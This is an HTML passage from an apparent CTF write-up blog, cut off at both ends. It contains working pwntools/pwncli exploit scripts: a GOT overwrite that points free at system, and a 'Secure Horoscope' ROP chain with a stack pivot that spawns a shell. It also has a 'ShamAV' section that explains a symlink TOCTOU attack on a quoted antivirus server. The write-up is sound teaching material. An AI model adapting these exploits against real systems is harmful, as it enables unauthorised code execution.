class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">set_current_libc_base_and_log</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="o">-</span><span class="mi">7</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">system</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="o">.</span><span class="n">free</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">dele</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508220506836.png' alt="image-20220508220506836"></p> <h2 class="heading-element" id="secure-horoscope"><span>Secure Horoscope</span> <a href="#secure-horoscope" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>Still a basic rop challenge&hellip;</p> <h3 class="heading-element" id="vulnerability-3"><span>Vulnerability</span> <a href="#vulnerability-3" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>A buffer overflow with <code>0x1c</code> bytes:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508220624949.png' alt="image-20220508220624949"></p> <h3 class="heading-element" id="solution-2"><span>Solution</span> <a href="#solution-2" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>I found a fast solution after reading the asm code of this program:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508220750354.png' alt="image-20220508220750354"></p> <p>When <code>rbp</code> is hijacked, we can write data anywhere.</p> <p>The steps:</p> <ul> <li>buffer overflow and to control <code>rbp</code></li> <li>write rop chain in the <code>bss</code> section and do stack pivot</li> <li>rop and use magic gadget to get shell</li> </ul> <h3 class="heading-element" id="exp-3"><span>EXP</span> <a href="#exp-3" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="p">(</span><span class="s2">&#34;To get started, tell us how you feel</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;great&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sa</span><span class="p">(</span><span class="s2">&#34;we will have your very own horoscope</span><span class="se">\n\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x70</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">elf</span><span class="o">.</span><span class="n">bss</span><span class="p">(</span><span class="mh">0x470</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x4007cf</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="n">length</span><span class="o">=</span><span class="mh">0x8c</span><span class="p">))</span> </span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">CurrentGadgets</span><span class="o">.</span><span class="n">set_find_area</span><span class="p">(</span><span class="n">find_in_libc</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">s</span><span class="p">(</span><span class="n">flat_z</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">elf</span><span class="o">.</span><span class="n">bss</span><span class="p">(</span><span class="mh">0x470</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> <span class="n">CurrentGadgets</span><span class="o">.</span><span class="n">write_by_magic</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="o">.</span><span class="n">puts</span><span class="p">,</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">puts</span><span class="p">,</span> <span class="n">get_current_one_gadget_from_libc</span><span class="p">()[</span><span class="mi">1</span><span class="p">]),</span> </span></span><span class="line"><span class="cl"> <span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="o">.</span><span class="n">puts</span> </span></span><span class="line"><span class="cl"> <span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x70</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">elf</span><span class="o">.</span><span class="n">bss</span><span class="p">(</span><span class="mh">0x400</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x40080D</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="n">length</span><span class="o">=</span><span class="mh">0x8c</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508221234264.png' alt="image-20220508221234264"></p> <h2 class="heading-element" id="shamav"><span>ShamAV</span> <a href="#shamav" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>It&rsquo;s about <code>toutoc</code> vuln, that is <strong>time of use time of change/check</strong>. Soft symbol link attack is used in this challenge.</p> <p>Tips: <code>shutil.copyfile(src, dst)</code> will raise an exception if <code>src</code> is not readable; If <code>dst</code> already exists, it will be replaced.</p> <h3 class="heading-element" id="analysis-of-server"><span>Analysis of Server</span> <a href="#analysis-of-server" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>Download the <code>server.py</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span><span class="lnt">65 </span><span class="lnt">66 </span><span class="lnt">67 </span><span class="lnt">68 </span><span class="lnt">69 </span><span class="lnt">70 </span><span class="lnt">71 </span><span class="lnt">72 </span><span class="lnt">73 </span><span class="lnt">74 </span><span class="lnt">75 </span><span class="lnt">76 </span><span class="lnt">77 </span><span class="lnt">78 </span><span class="lnt">79 </span><span class="lnt">80 </span><span class="lnt">81 </span><span class="lnt">82 </span><span class="lnt">83 </span><span class="lnt">84 </span><span class="lnt">85 </span><span class="lnt">86 </span><span class="lnt">87 </span><span class="lnt">88 </span><span class="lnt">89 </span><span class="lnt">90 </span><span class="lnt">91 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-zed" data-lang="zed"><span class="line"><span class="cl"><span class="err">#</span><span class="o">!</span><span class="w"> </span><span class="o">/</span><span class="nn">usr/bin/</span><span class="n">env</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="p">[</span><span class="err">40</span><span class="o">/</span><span class="err">1990</span><span class="p">]</span><span class="n">import</span><span class="w"> </span><span class="n">base64</span><span class="p">,</span><span class="w"> </span><span class="n">socket</span><span class="p">,</span><span class="w"> </span><span class="n">os</span><span class="p">,</span><span class="w"> </span><span class="n">hashlib</span><span class="p">,</span><span class="w"> </span><span class="n">shutil</span><span class="p">,</span><span class="w"> </span><span class="n">sys</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">import</span><span class="w"> </span><span class="n">base64</span><span class="p">,</span><span class="w"> </span><span class="n">socket</span><span class="p">,</span><span class="w"> </span><span class="n">os</span><span class="p">,</span><span class="w"> </span><span class="n">hashlib</span><span class="p">,</span><span class="w"> </span><span class="n">shutil</span><span class="p">,</span><span class="w"> </span><span class="n">sys</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">USER_UID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">1002</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">CTR_LENGTH</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">256</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">STDIO_DEBUG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">False</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">ctr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">0</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">malware_hashes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">set</span><span class="p">()</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">with</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="err">&#39;</span><span class="n">malware</span><span class="o">-</span><span class="n">hashes</span><span class="p">.</span><span class="n">txt</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">f</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">for</span><span class="w"> </span><span class="n">line</span><span class="w"> </span><span class="n">in</span><span class="w"> </span><span class="n">f</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">malware_hashes</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">())</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">with</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="err">&#39;</span><span class="n">seed</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">f</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">seed</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Read</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">seed</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">make</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">behavior</span><span class="w"> </span><span class="n">more</span><span class="w"> </span><span class="n">reproduce</span><span class="o">-</span><span class="n">able</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Make</span><span class="w"> </span><span class="n">testing</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">lot</span><span class="w"> </span><span class="n">easier</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">def</span><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">s</span><span class="o">:</span><span class="w"> </span><span class="n">str</span><span class="p">)</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">print</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="w"> </span><span class="n">file</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">stderr</span><span class="p">,</span><span class="w"> </span><span class="n">flush</span><span class="o">=</span><span class="n">True</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">def</span><span class="w"> </span><span class="n">genrandom</span><span class="p">()</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">global</span><span class="w"> </span><span class="n">ctr</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">ctr</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">CTR_LENGTH</span><span class="p">,</span><span class="w"> </span><span class="n">byteorder</span><span class="o">=</span><span class="err">&#39;</span><span class="n">little</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">seed</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">ctr</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="err">1</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="n">result</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">def</span><span class="w"> </span><span class="n">is_malware</span><span class="p">(</span><span class="n">file</span><span class="o">:</span><span class="w"> </span><span class="n">str</span><span class="p">)</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span><span class="w"> </span><span class="err">&#39;</span><span class="n">rb</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">f</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">()</span><span class="w"> </span><span class="n">in</span><span class="w"> </span><span class="n">malware_hashes</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">def</span><span class="w"> </span><span class="n">_scan</span><span class="p">(</span><span class="n">path</span><span class="o">:</span><span class="w"> </span><span class="n">str</span><span class="p">)</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="p">[</span><span class="n">I</span><span class="p">]</span><span class="w"> </span><span class="n">Scanning</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="p">{</span><span class="n">path</span><span class="p">}</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">try</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">if</span><span class="w"> </span><span class="n">os</span><span class="p">.</span><span class="n">lstat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_uid</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">USER_UID</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="err">&#34;</span><span class="n">You</span><span class="w"> </span><span class="n">do</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="kd">permission</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">scan</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">item</span><span class="err">&#34;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">except</span><span class="w"> </span><span class="n">OSError</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">e</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="n">f</span><span class="err">&#39;</span><span class="n">Error</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="n">OS</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="n">e</span><span class="p">}</span><span class="err">&#39;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">target_path</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">f</span><span class="err">&#39;</span><span class="o">/</span><span class="nn">home/antivirus/quarantine/</span><span class="n">sham</span><span class="o">-</span><span class="n">av</span><span class="o">-</span><span class="p">{</span><span class="n">genrandom</span><span class="p">()}</span><span class="err">&#39;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="p">[</span><span class="n">D</span><span class="p">]</span><span class="w"> </span><span class="n">Copying</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="p">{</span><span class="n">path</span><span class="p">}</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="p">{</span><span class="n">target_path</span><span class="p">}</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">try</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">shutil</span><span class="p">.</span><span class="n">copyfile</span><span class="p">(</span><span class="n">path</span><span class="p">,</span><span class="w"> </span><span class="n">target_path</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">if</span><span class="w"> </span><span class="n">is_malware</span><span class="p">(</span><span class="n">target_path</span><span class="p">)</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="p">[</span><span class="n">I</span><span class="p">]</span><span class="w"> </span><span class="n">Found</span><span class="w"> </span><span class="n">malware</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="p">{</span><span class="n">path</span><span class="p">}</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="n">f</span><span class="err">&#39;</span><span class="o">*****</span><span class="w"> </span><span class="n">Malware</span><span class="w"> </span><span class="n">detected</span><span class="o">!</span><span class="w"> </span><span class="n">File</span><span class="w"> </span><span class="n">quarantined</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="p">{</span><span class="n">target_path</span><span class="p">}</span><span class="w"> </span><span class="o">*****</span><span class="err">&#39;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">except</span><span class="w"> </span><span class="n">IsADirectoryError</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">e</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="n">f</span><span class="err">&#39;</span><span class="n">An</span><span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="n">occurred</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="n">e</span><span class="p">}</span><span class="err">&#39;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="err">&#34;</span><span class="n">File</span><span class="w"> </span><span class="n">scan</span><span class="w"> </span><span class="n">completed</span><span class="p">.</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="n">malware</span><span class="w"> </span><span class="n">detected</span><span class="p">.</span><span class="err">&#34;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">def</span><span class="w"> </span><span class="n">scan</span><span class="p">(</span><span class="n">path</span><span class="o">:</span><span class="w"> </span><span class="n">str</span><span class="p">)</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_scan</span><span class="p">(</span><span class="n">path</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="p">[</span><span class="n">I</span><span class="p">]</span><span class="w"> </span><span class="n">Scan</span><span class="w"> </span><span class="n">complete</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span 